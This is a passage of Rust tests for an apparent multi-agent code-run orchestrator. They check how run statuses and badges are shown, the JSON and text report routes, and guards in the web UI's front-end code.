21259        assert_eq!(row["display_status"], "stale");
21260        assert_eq!(row["live"], "dead", "{row}");
21261        assert!(!row["done"].as_bool().unwrap());
21262    }
21263
21264    #[test]
21265    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
21266        use crate::run::Liveness::{Dead, Live, Unknown};
21267        let mut state = RunState::new(
21268            PathBuf::from("/repo/magi"),
21269            "main".to_owned(),
21270            "abc".to_owned(),
21271            "Review only".to_owned(),
21272            Config::default(),
21273        );
21274        for (status, parked, node, waiting, live, expected) in [
21275            (
21276                RunStatus::Judging,
21277                true,
21278                "github-text",
21279                false,
21280                Dead,
21281                "parked",
21282            ),
21283            (RunStatus::Judging, false, "park", false, Dead, "stale"),
21284            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21285            (
21286                RunStatus::Judging,
21287                true,
21288                "github-text",
21289                true,
21290                Dead,
21291                "waiting",
21292            ),
21293            (
21294                RunStatus::Judging,
21295                false,
21296                "github-text",
21297                true,
21298                Dead,
21299                "waiting",
21300            ),
21301            (
21302                RunStatus::Judging,
21303                false,
21304                "github-text",
21305                false,
21306                Dead,
21307                "stale",
21308            ),
21309            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21310            (RunStatus::Judging, true, "park", false, Live, "judging"),
21311            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21312            (RunStatus::Merged, true, "park", false, Dead, "merged"),
21313            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21314            (
21315                RunStatus::Blocked,
21316                true,
21317                "github-text",
21318                true,
21319                Dead,
21320                "waiting",
21321            ),
21322        ] {
21323            state.status = status;
21324            state.parked = parked;
21325            state.events.clear();
21326            state.event(
21327                "park",
21328                "an earlier park does not determine the latest state",
21329            );
21330            state.event(node, "message is not used for classification");
21331            let summary = RunSummary::of(&state, waiting, live);
21332            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21333            assert_eq!(
21334                summary.display_status, expected,
21335                "{status:?}/{node}/{live:?}"
21336            );
21337            assert_eq!(detail.display_status, summary.display_status);
21338            assert_eq!(detail.waiting, summary.waiting);
21339        }
21340        state.status = RunStatus::Judging;
21341        state.parked = false;
21342        state.events.clear();
21343        assert_eq!(run_display_status(&state, false, Dead), "stale");
21344    }
21345
21346    #[test]
21347    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21348        use crate::run::Liveness::{Dead, Live, Unknown};
21349        let mut state = RunState::new(
21350            PathBuf::from("/repo/magi"),
21351            "main".to_owned(),
21352            "abc".to_owned(),
21353            "Badge".to_owned(),
21354            Config::default(),
21355        );
21356        for (status, waiting, live, superseded, expected) in [
21357            (RunStatus::Gating, false, Dead, false, "stale"),
21358            (RunStatus::Gating, false, Dead, true, "superseded"),
21359            (RunStatus::Gating, false, Unknown, true, "superseded"),
21360            (RunStatus::Gating, true, Dead, true, "superseded"),
21361            (RunStatus::Gating, true, Dead, false, "waiting"),
21362            (RunStatus::Gating, false, Unknown, false, "gating"),
21363            (RunStatus::Gating, false, Live, true, "gating"),
21364            (RunStatus::Gating, true, Live, true, "waiting"),
21365            (RunStatus::Merged, false, Dead, true, "merged"),
21366            (RunStatus::Blocked, false, Dead, true, "blocked"),
21367        ] {
21368            state.status = status;
21369            let display = run_display_status(&state, waiting, live);
21370            assert_eq!(
21371                run_badge_status(&state, &display, live, superseded),
21372                expected,
21373                "{status:?}/{live:?}/superseded={superseded}"
21374            );
21375        }
21376    }
21377
21378    #[test]
21379    fn summarize_and_detail_expose_badge_status() {
21380        use crate::run::Liveness::Dead;
21381        let mut state = RunState::new(
21382            PathBuf::from("/repo/magi"),
21383            "main".to_owned(),
21384            "abc".to_owned(),
21385            "Badge".to_owned(),
21386            Config::default(),
21387        );
21388        state.status = RunStatus::Gating;
21389        let none = HashSet::new();
21390        let id = state.id.clone();
21391        let mut by = HashMap::new();
21392        let rows = summarize(
21393            [state.clone()],
21394            &none,
21395            &none,
21396            &by,
21397            |_| Some(false),
21398            |_| None,
21399        );
21400        // No driver recorded: liveness is not provably dead, so the node stays.
21401        assert_eq!(rows[0].badge_status, rows[0].display_status);
21402        by.insert(id, "20260901-000000-913b".to_owned());
21403        let detail = RunDetailView::of(
21404            state.clone(),
21405            false,
21406            Dead,
21407            Some("913b".to_owned()),
21408            None,
21409            None,
21410        );
21411        assert_eq!(detail.badge_status, "superseded");
21412        let json = serde_json::to_value(&detail).unwrap();
21413        assert_eq!(json["badge_status"], "superseded");
21414        let detail = RunDetailView::of(state, false, Dead, None, None, None);
21415        assert_eq!(detail.badge_status, "stale");
21416    }
21417
21418    #[tokio::test]
21419    async fn run_display_status_routes_share_the_open_question_store() {
21420        let f = Fixture::start().await;
21421        let id = "20260922-090200-abcd";
21422        write_run(&f.runs(), id, RunStatus::Judging);
21423        let mut state = read_run(&f.runs(), id).unwrap();
21424        state.parked = true;
21425        state.driver_exited = true;
21426        state.event("github-text", "waiting for the owner");
21427        state.save_under(f.home.path()).unwrap();
21428        let mut task = Task::new(
21429            "resumed task".to_owned(),
21430            "do it".to_owned(),
21431            PathBuf::from("/repo"),
21432            Source::Human,
21433        );
21434        task.runs = vec![id.to_owned(), id.to_owned()];
21435        f.queue().put(&mut task).unwrap();
21436        let store = f.questions();
21437        let mut q = Question::new(
21438            id.to_owned(),
21439            "github-text".to_owned(),
21440            "owner".to_owned(),
21441            "Approve the text?".to_owned(),
21442            String::new(),
21443            Vec::new(),
21444        );
21445        store.put(&mut q).unwrap();
21446        for expected in ["waiting", "parked"] {
21447            let list = f.get("/api/runs").await.json();
21448            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21449            assert_eq!(list[0]["display_status"], expected);
21450            assert_eq!(detail["display_status"], expected);
21451            assert_eq!(detail["waiting"], list[0]["waiting"]);
21452            assert_eq!(list[0]["badge_status"], expected);
21453            assert_eq!(detail["badge_status"], expected);
21454            assert!(list[0]["superseded_by"].is_null());
21455            assert!(detail["superseded_by"].is_null());
21456            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21457            let history = task_detail["history"].as_array().unwrap();
21458            assert_eq!(history.len(), 2);
21459            assert!(history[0]["badge"].is_null());
21460            assert_eq!(history[1]["badge"], expected);
21461            q.status = ask::QuestionStatus::Answered;
21462            store.put(&mut q).unwrap();
21463        }
21464    }
21465
21466    #[tokio::test]
21467    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21468        let f = Fixture::start().await;
21469        let id = "20260922-090200-abcd";
21470        write_run(&f.runs(), id, RunStatus::Judging);
21471        let mut state = read_run(&f.runs(), id).unwrap();
21472        state.parked = true;
21473        state.driver_exited = true;
21474        state.event("park", "stopped at a node boundary");
21475        state.save_under(f.home.path()).unwrap();
21476
21477        for expected in ["parked", "stale"] {
21478            let list = f.get("/api/runs").await.json();
21479            let detail = f.get(&format!("/api/runs/{id}")).await.json();
21480            assert_eq!(list[0]["live"], "dead");
21481            assert_eq!(list[0]["display_status"], expected);
21482            assert_eq!(detail["display_status"], expected);
21483            // Model a driver claim followed by a crash before the next event:
21484            // the persisted flag changes, but the last event is still park.
21485            state.parked = false;
21486            state.save_under(f.home.path()).unwrap();
21487        }
21488    }
21489
21490    #[tokio::test]
21491    async fn the_run_list_is_newest_first_and_honours_a_limit() {
21492        let f = Fixture::start().await;
21493        for id in [
21494            "20260902-140501-aaaa",
21495            "20260902-140502-bbbb",
21496            "20260902-140503-cccc",
21497        ] {
21498            write_run(&f.runs(), id, RunStatus::Merged);
21499        }
21500
21501        let all = f.get("/api/runs").await.json();
21502        let capped = f.get("/api/runs?limit=2").await.json();
21503
21504        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21505        assert_eq!(all.as_array().map(Vec::len), Some(3));
21506        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21507        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21508    }
21509
21510    #[tokio::test]
21511    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21512        let f = Fixture::start().await;
21513        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21514
21515        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21516
21517        assert_eq!(res.status, 200);
21518        assert!(
21519            res.headers
21520                .contains("content-type: text/plain; charset=utf-8"),
21521            "a browser must render it, not download it: {}",
21522            res.headers
21523        );
21524        // The assertion is on content, not on the absence of escapes: colour
21525        // is a process-global that `serve` turns off at startup, and another
21526        // test in this binary may own it while this one runs.
21527        assert!(
21528            res.body.contains("20260902-140501-a1b2"),
21529            "the report is about the run that was asked for: {}",
21530            res.body
21531        );
21532    }
21533
21534    #[tokio::test]
21535    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21536        // The view names the run's state directory, which reads the process-global home.
21537        crate::run::pin_test_home();
21538        let f = Fixture::start().await;
21539        let id = "20260902-140501-a1b2";
21540        write_run(&f.runs(), id, RunStatus::Stalled);
21541        // A stalled panel and one review round, written through the real
21542        // state file so the route reads what a run really leaves behind.
21543        let path = f.runs().join(id).join("run.json");
21544        let mut v: serde_json::Value =
21545            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21546        v["tally"] = serde_json::json!({
21547            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21548            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21549            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21550            "met_quorum": false, "rankings": 1
21551        });
21552        v["reviews"] = serde_json::json!([{
21553            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21554            "e2e_deferred": true,
21555            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21556                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21557            ]}]
21558        }]);
21559        std::fs::write(&path, v.to_string()).unwrap();
21560        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21561        std::fs::write(
21562            f.runs().join("20260902-140502-dead").join("run.json"),
21563            "{not json",
21564        )
21565        .unwrap();
21566
21567        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21568
21569        assert_eq!(res.status, 200, "{}", res.body);
21570        assert!(res.headers.contains("content-type: application/json"));
21571        let j = res.json();
21572        assert_eq!(j["schema"], 1);
21573        assert_eq!(j["header"]["id"], id);
21574        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21575        let kinds: Vec<&str> = j["sections"]
21576            .as_array()
21577            .unwrap()
21578            .iter()
21579            .map(|s| s["kind"].as_str().unwrap())
21580            .collect();
21581        assert_eq!(kinds, ["candidates", "tally", "review"]);
21582        let tally = &j["sections"][1]["tally"];
21583        assert_eq!(
21584            (tally["decided"].clone(), tally["provisional"].clone()),
21585            (false.into(), true.into())
21586        );
21587        let round = &j["sections"][2]["rounds"][0];
21588        assert_eq!(round["e2e"]["state"], "deferred");
21589        assert_eq!(round["findings"][0]["severity"], "major");
21590        assert_eq!(round["findings"][0]["blocking"], true);
21591        assert_eq!(round["findings"][0]["state"], "open");
21592
21593        // The raw route keeps working beside it.
21594        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21595
21596        // An unreadable run is an error, as on the text route, and is counted.
21597        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21598        assert_ne!(bad.status, 200, "{}", bad.body);
21599        assert_eq!(
21600            bad.status,
21601            f.get("/api/runs/20260902-140502-dead/report").await.status
21602        );
21603        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21604        assert_eq!(
21605            f.get("/api/runs/20260902-999999-ffff/report.json")
21606                .await
21607                .status,
21608            404
21609        );
21610    }
21611
21612    #[tokio::test]
21613    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21614        crate::run::pin_test_home();
21615        let f = Fixture::start().await;
21616        let id = "20260902-140501-a1b2";
21617        write_run(&f.runs(), id, RunStatus::Blocked);
21618        let path = f.runs().join(id).join("run.json");
21619        let mut v: serde_json::Value =
21620            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21621        v["sync_only_passes"] = serde_json::json!([{
21622            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21623            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21624            "head_before": "before-sha", "head_after": "after-sha",
21625            "result": "synchronized", "verification_allowed": false
21626        }]);
21627        std::fs::write(&path, v.to_string()).unwrap();
21628
21629        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21630        assert_eq!(res.status, 200, "{}", res.body);
21631        let json = res.json();
21632        let section = json["sections"]
21633            .as_array()
21634            .unwrap()
21635            .iter()
21636            .find(|s| s["key"] == "sync_only")
21637            .expect("base-only report section");
21638        let line = section["lines"][0].as_str().unwrap();
21639        assert!(line.contains("origin/main @ base-sha"), "{line}");
21640        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21641        assert!(line.contains("verification was not allowed"), "{line}");
21642    }
21643
21644    #[tokio::test]
21645    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21646        crate::run::pin_test_home();
21647        let f = Fixture::start().await;
21648        let id = "20260902-140505-facts";
21649        write_run(&f.runs(), id, RunStatus::Stalled);
21650        let path = f.runs().join(id).join("run.json");
21651        let mut v: serde_json::Value =
21652            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21653        v["candidates"] = serde_json::json!([{
21654            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21655            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21656        }]);
21657        v["tally"] = serde_json::json!({
21658            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21659            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21660            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21661            "met_quorum": false, "rankings": 1
21662        });
21663        v["quota"] = serde_json::json!([
21664            {
21665                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21666                "agent": "signed-out", "cause": "authentication"
21667            },
21668            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21669        ]);
21670        v["startup"] = serde_json::json!({
21671            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21672            "failure": "fetch refused\ncredentials expired"
21673        });
21674        v["recovery"] = serde_json::json!({
21675            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21676            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21677            "repair": {"started": {"before": "abcdef012345"}}
21678        });
21679        v["reviews"] = serde_json::json!([{
21680            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21681            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21682            "vote_split": true, "verdict": "approve_with_findings",
21683            "e2e": [{
21684                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21685            }],
21686            "reviews": [
21687                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21688                 "summary": "Initial **concern**.\n\nPlease inspect.",
21689                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21690                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21691            ],
21692            "reconsideration": [{
21693                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21694                "reason": "The blocker is resolved.\nOne minor issue remains."
21695            }]
21696        }]);
21697        v["merge_repairs"] = serde_json::json!([{
21698            "question": "question-42", "head": "abcdef012345",
21699            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21700            "gate": [], "phase": "Failed",
21701            "failure": "owner decision required\ninspect updated results"
21702        }]);
21703        v["bump_decision_attempts"] = serde_json::json!([
21704            {"agent": "first", "outcome": "unavailable"},
21705            {"agent": "second", "outcome": "patch\naccepted"}
21706        ]);
21707        v["release_bump"] = serde_json::json!({
21708            "version": "1.2.3", "local": true,
21709            "problem": "publish failed\nregistry refused",
21710            "release": {
21711                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21712                "failed": "registry refused\nawait owner approval",
21713                "log": [{
21714                    "name": "cargo publish", "code": 1,
21715                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21716                }]
21717            }
21718        });
21719        std::fs::write(&path, v.to_string()).unwrap();
21720
21721        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21722        assert_eq!(res.status, 200, "{}", res.body);
21723        let j = res.json();
21724        assert_eq!(j["schema"], 1);
21725        assert_eq!(j["header"]["tone"], "warn");
21726        assert_eq!(
21727            j["header"]["startup"],
21728            "review branch=topic stage=fetch complete=false"
21729        );
21730        assert_eq!(
21731            j["header"]["startup_failure"],
21732            "fetch refused\ncredentials expired"
21733        );
21734        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21735        assert_eq!(
21736            j["sections"][0]["items"][0]["detail"],
21737            "Already covered.\nNo patch needed."
21738        );
21739        assert_eq!(
21740            j["sections"][1]["tally"]["rate_limited"],
21741            serde_json::json!(["judge-1", "judge-2"])
21742        );
21743        let sections = j["sections"].as_array().unwrap();
21744        let labels: Vec<_> = sections
21745            .iter()
21746            .map(|section| {
21747                section["key"]
21748                    .as_str()
21749                    .or_else(|| section["kind"].as_str())
21750                    .unwrap()
21751            })
21752            .collect();
21753        assert_eq!(
21754            labels,
21755            [
21756                "candidates",
21757                "tally",
21758                "quota_details",
21759                "recovery",
21760                "review",
21761                "merge_repairs",
21762                "release_decision_attempts",
21763                "release_bump",
21764                "release_execution"
21765            ]
21766        );
21767        let note = |key: &str| {
21768            sections
21769                .iter()
21770                .find(|section| section["kind"] == "notes" && section["key"] == key)
21771                .unwrap()
21772        };
21773        let unavailable = note("quota_details");
21774        assert_eq!(unavailable["tone"], "warn");
21775        assert_eq!(
21776            unavailable["lines"],
21777            serde_json::json!([
21778                "judge-1 (signed-out: re-authenticate)",
21779                "judge-2 (usage limit)"
21780            ])
21781        );
21782        let recovery = note("recovery");
21783        assert_eq!(recovery["tone"], "warn");
21784        assert!(
21785            recovery["lines"][0]
21786                .as_str()
21787                .unwrap()
21788                .contains("head moved\nreview the new diff")
21789        );
21790        assert_eq!(
21791            recovery["lines"][1],
21792            "the task's own completion criteria were kept"
21793        );
21794        assert_eq!(recovery["lines"][2], "repair: unfinished");
21795        let review = sections
21796            .iter()
21797            .find(|section| section["kind"] == "review")
21798            .unwrap();
21799        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21800        let round = &review["rounds"][0];
21801        assert_eq!(round["verified_head"], "fedcba9");
21802        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21803        assert_eq!(round["status"], "incomplete");
21804        assert_eq!(round["e2e"]["state"], "pass");
21805        assert_eq!(round["reviewers"][0]["vote"], "reject");
21806        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21807        assert_eq!(
21808            round["reviewers"][0]["reason"],
21809            "Initial **concern**.\n\nPlease inspect."
21810        );
21811        assert!(
21812            !round["reviewers"][0]["reason_md"]
21813                .as_array()
21814                .unwrap()
21815                .is_empty()
21816        );
21817        assert!(round["reviewers"][1]["final_vote"].is_null());
21818        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21819        assert_eq!(
21820            round["reconsideration"][0]["reason"],
21821            "The blocker is resolved.\nOne minor issue remains."
21822        );
21823        assert!(
21824            !round["reconsideration"][0]["reason_md"]
21825                .as_array()
21826                .unwrap()
21827                .is_empty()
21828        );
21829        let repairs = note("merge_repairs");
21830        assert_eq!(repairs["tone"], "warn");
21831        assert_eq!(
21832            repairs["lines"][0],
21833            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21834        );
21835        assert_eq!(
21836            repairs["lines"][1],
21837            "held: owner decision required\ninspect updated results"
21838        );
21839        assert_eq!(
21840            repairs["lines"][2],
21841            "original [R1-1-1] Minor: Check edge case"
21842        );
21843        assert_eq!(
21844            repairs["lines"][3],
21845            "original reviewer #1: ApproveWithFindings"
21846        );
21847        assert_eq!(
21848            repairs["lines"][4],
21849            "Repair never approves a merge; updated results require a fresh owner decision."
21850        );
21851        let attempts = note("release_decision_attempts");
21852        assert_eq!(attempts["tone"], "neutral");
21853        assert_eq!(
21854            attempts["lines"],
21855            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21856        );
21857        let bump = sections
21858            .iter()
21859            .find(|section| section["kind"] == "release_bump")
21860            .unwrap();
21861        assert_eq!(bump["bump"]["automerge"], "local");
21862        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21863        assert_eq!(bump["tone"], "warn");
21864        let execution = note("release_execution");
21865        assert_eq!(execution["tone"], "warn");
21866        assert_eq!(
21867            execution["lines"][0],
21868            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21869        );
21870        assert_eq!(
21871            execution["lines"][1],
21872            "tag on remote: true; 1 command(s) completed"
21873        );
21874        assert_eq!(
21875            execution["lines"][2],
21876            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21877        );
21878
21879        // The original endpoint remains terminal text, including these same facts.
21880        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21881        assert_eq!(raw.status, 200);
21882        assert!(
21883            raw.headers
21884                .contains("content-type: text/plain; charset=utf-8")
21885        );
21886        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21887        assert!(raw.body.contains("Already covered."));
21888        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21889        assert!(raw.body.contains("judge-2 (usage limit)"));
21890        assert!(
21891            raw.body
21892                .contains("owner decision required\ninspect updated results")
21893        );
21894        assert!(raw.body.contains("2. second: patch\naccepted"));
21895        assert!(raw.body.contains(
21896            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21897        ));
21898
21899        // Historical records do not acquire invented startup or verification facts.
21900        let legacy_id = "20260902-140506-old";
21901        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21902        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21903        assert_eq!(legacy.status, 200, "{}", legacy.body);
21904        let legacy = legacy.json();
21905        assert!(legacy["header"]["startup"].is_null());
21906        assert!(legacy["header"]["startup_failure"].is_null());
21907        assert!(
21908            legacy["sections"]
21909                .as_array()
21910                .unwrap()
21911                .iter()
21912                .all(|section| section["kind"] != "notes")
21913        );
21914    }
21915
21916    #[tokio::test]
21917    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21918        crate::run::pin_test_home();
21919        let f = Fixture::start().await;
21920        let id = "20260902-140503-delib";
21921        write_run(&f.runs(), id, RunStatus::Merged);
21922        let path = f.runs().join(id).join("run.json");
21923        let mut v: serde_json::Value =
21924            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21925        v["judgements"] = serde_json::json!([
21926            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21927        ]);
21928        v["tally"] = serde_json::json!({
21929            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21930            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21931            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21932            "met_quorum": true, "rankings": 1
21933        });
21934        v["deliberation"] = serde_json::json!([
21935            {
21936                "round": 1,
21937                "turns": [
21938                    {
21939                        "judge": 1,
21940                        "agent": "judge-1",
21941                        "body": "I prefer candidate **A** because it has cleaner tests.",
21942                        "tentative": "A"
21943                    }
21944                ]
21945            },
21946            {
21947                "round": 2,
21948                "turns": [
21949                    {
21950                        "judge": 1,
21951                        "agent": "judge-1",
21952                        "body": "Still thinking, no choice yet.",
21953                        "tentative": null
21954                    }
21955                ]
21956            }
21957        ]);
21958        std::fs::write(&path, v.to_string()).unwrap();
21959
21960        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21961        assert_eq!(res.status, 200, "{}", res.body);
21962        let j = res.json();
21963        let judging = j["sections"]
21964            .as_array()
21965            .unwrap()
21966            .iter()
21967            .find(|s| s["kind"] == "judging")
21968            .expect("judging section exists");
21969
21970        // Existing summary lines remain intact
21971        let delib_lines = judging["deliberation"].as_array().unwrap();
21972        assert_eq!(delib_lines.len(), 2);
21973        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21974        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21975
21976        // rounds carry turn bodies, tentative and parsed body_md
21977        let rounds = judging["rounds"].as_array().unwrap();
21978        assert_eq!(rounds.len(), 2);
21979        let r1_t0 = &rounds[0]["turns"][0];
21980        assert_eq!(r1_t0["judge"], 1);
21981        assert_eq!(r1_t0["agent"], "judge-1");
21982        assert_eq!(r1_t0["tentative"], "A");
21983        assert_eq!(
21984            r1_t0["body"],
21985            "I prefer candidate **A** because it has cleaner tests."
21986        );
21987        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21988
21989        let r2_t0 = &rounds[1]["turns"][0];
21990        assert_eq!(r2_t0["judge"], 1);
21991        assert_eq!(r2_t0["agent"], "judge-1");
21992        assert!(r2_t0["tentative"].is_null());
21993        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21994        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21995
21996        // A run with empty deliberation array yields empty rounds
21997        let id_empty = "20260902-140504-nodelib";
21998        write_run(&f.runs(), id_empty, RunStatus::Merged);
21999        let path_empty = f.runs().join(id_empty).join("run.json");
22000        let mut v_empty: serde_json::Value =
22001            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22002        v_empty["judgements"] = serde_json::json!([
22003            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22004        ]);
22005        v_empty["deliberation"] = serde_json::json!([]);
22006        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22007
22008        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22009        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22010        let j_empty = res_empty.json();
22011        let judging_empty = j_empty["sections"]
22012            .as_array()
22013            .unwrap()
22014            .iter()
22015            .find(|s| s["kind"] == "judging")
22016            .expect("judging section exists");
22017        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22018    }
22019
22020    #[tokio::test]
22021    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22022        let f = Fixture::start().await;
22023
22024        let html = f.get("/").await;
22025        let css = f.get("/app.css").await;
22026        let js = f.get("/app.js").await;
22027
22028        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22029        assert!(
22030            html.headers
22031                .contains("content-type: text/html; charset=utf-8")
22032        );
22033        assert!(css.headers.contains("content-type: text/css"));
22034        assert!(js.headers.contains("content-type: text/javascript"));
22035        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22036    }
22037
22038    #[test]
22039    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22040        let body = |name: &str| {
22041            let at = APP_JS
22042                .find(name)
22043                .unwrap_or_else(|| panic!("{name} missing"));
22044            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22045        };
22046        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22047        let note = body("function landRoundNote");
22048        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22049        assert!(note.contains("Land round ${round}"));
22050        let land = body("function renderLand");
22051        let note_at = land
22052            .find("landRoundNote(pr)")
22053            .expect("renderLand uses the note");
22054        assert!(
22055            note_at
22056                < land
22057                    .find("roundRail(pr)")
22058                    .expect("renderLand uses the rail")
22059        );
22060    }
22061
22062    #[test]
22063    fn the_runs_page_redesign_keeps_its_guards() {
22064        let body = |name: &str| {
22065            let at = APP_JS
22066                .find(name)
22067                .unwrap_or_else(|| panic!("{name} missing"));
22068            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22069        };
22070        // A null child must never reach the native append (it prints "null").
22071        let land = body("function renderLand");
22072        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22073        assert!(
22074            !land.contains("box.append("),
22075            "renderLand must use append()"
22076        );
22077        assert!(land.contains("append(box, ["));
22078        // Tabs are hash routes; the run id alone decides a reload.
22079        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
22080        assert!(
22081            body("function applyRoute")
22082                .contains("route.name !== state.route.name || route.id !== state.route.id")
22083        );
22084        // The decorative diagram is gone, the strip and its guards stay.
22085        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22086        assert!(!INDEX_HTML.contains("advise-converge"));
22087        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22088        assert!(APP_JS.contains("provisional"));
22089        for id in [
22090            "run-tab-overview",
22091            "run-tab-timeline",
22092            "run-tab-report",
22093            "run-report",
22094            "runs-scope",
22095        ] {
22096            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22097        }
22098        assert!(!INDEX_HTML.contains("runs-tree"));
22099        assert!(!INDEX_HTML.contains("run-raw-panel"));
22100        // Fold still says it cannot be resumed.
22101        assert!(APP_JS.contains("resume"));
22102        // The unreadable-runs count stays on the page.
22103        assert!(APP_JS.contains("unreadable"));
22104    }
22105
22106    #[test]
22107    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22108        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22109        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22110        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22111        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22112        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22113        // The subtitle still counts them whatever the banner does.
22114        assert!(APP_JS.contains("unreadable` : null"));
22115    }
22116
22117    #[test]
22118    fn blocked_run_detail_exposes_the_failed_gate_reason() {
